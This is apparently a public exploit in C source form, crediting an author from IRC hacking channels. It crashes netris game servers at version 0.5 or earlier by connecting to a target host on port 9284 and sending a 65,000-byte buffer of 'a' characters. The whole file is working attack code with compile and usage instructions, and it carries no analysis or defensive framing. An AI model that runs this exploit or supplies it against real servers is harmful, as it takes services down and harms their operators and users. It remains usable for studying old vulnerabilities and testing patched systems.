/* 
 * HP-netris_DoS.c - Remote netris <= 0.5 DoS. 
 *
 *  Artur Byszko / bajkero <bajkero@security.hack.pl>
 *    #hackpl@efnet || #blackhat@ircnet
 *  
 *  % gcc -Wall -ansi -pedantic -o HP-netris_DoS HP-netris_DoS.c
 *  % ./HP-netris_DoS host [port]
 * 
 *  Greets: ducer, ^sysq, #darknet@efnet.
 * 
 */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>

#define PORT 9284

void usage(char *a);


int main(int argc, char *argv[])
{
	int gniazdo;
	char buff[65000];
	struct sockaddr_in sin;
	struct hostent *host;
	
	fprintf(stdout, " * Remote netris <= 0.5 DoS\n");
	fprintf(stdout, " * Artur Byszko / bajkero * #hackpl@efnet \n");
	if(argc < 2) usage(argv[0]);

	host = gethostbyname(argv[1]);
	if(!host) {
		herror("gethostbyname()");
		exit(EXIT_FAILURE);
	}
	
	gniazdo = socket(AF_INET, SOCK_STREAM, 0);
	if(!gniazdo) 
	{
		perror("socket()");
		exit(EXIT_FAILURE);
	}
	bzero(&sin, sizeof(sin));
	bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
	sin.sin_family = AF_INET;
	if(argv[2]) {
		sin.sin_port = htons(atoi(argv[2]));
	}
	else {
		sin.sin_port = htons(PORT);
	}
	if((connect(gniazdo, (struct sockaddr *)&sin, sizeof(sin))) < 0)
	{
		perror("connect()");
		exit(EXIT_FAILURE);
	}
	memset(buff, 'a', sizeof(buff));
	printf("-> Sending buff.. \n");
	write(gniazdo, buff, sizeof(buff));
	close(gniazdo);
	printf("-> Done..\n");
	return(0);
}

void usage(char *a)
{
	printf("Usage: %s host [port]\n", a);
	exit(EXIT_FAILURE);
}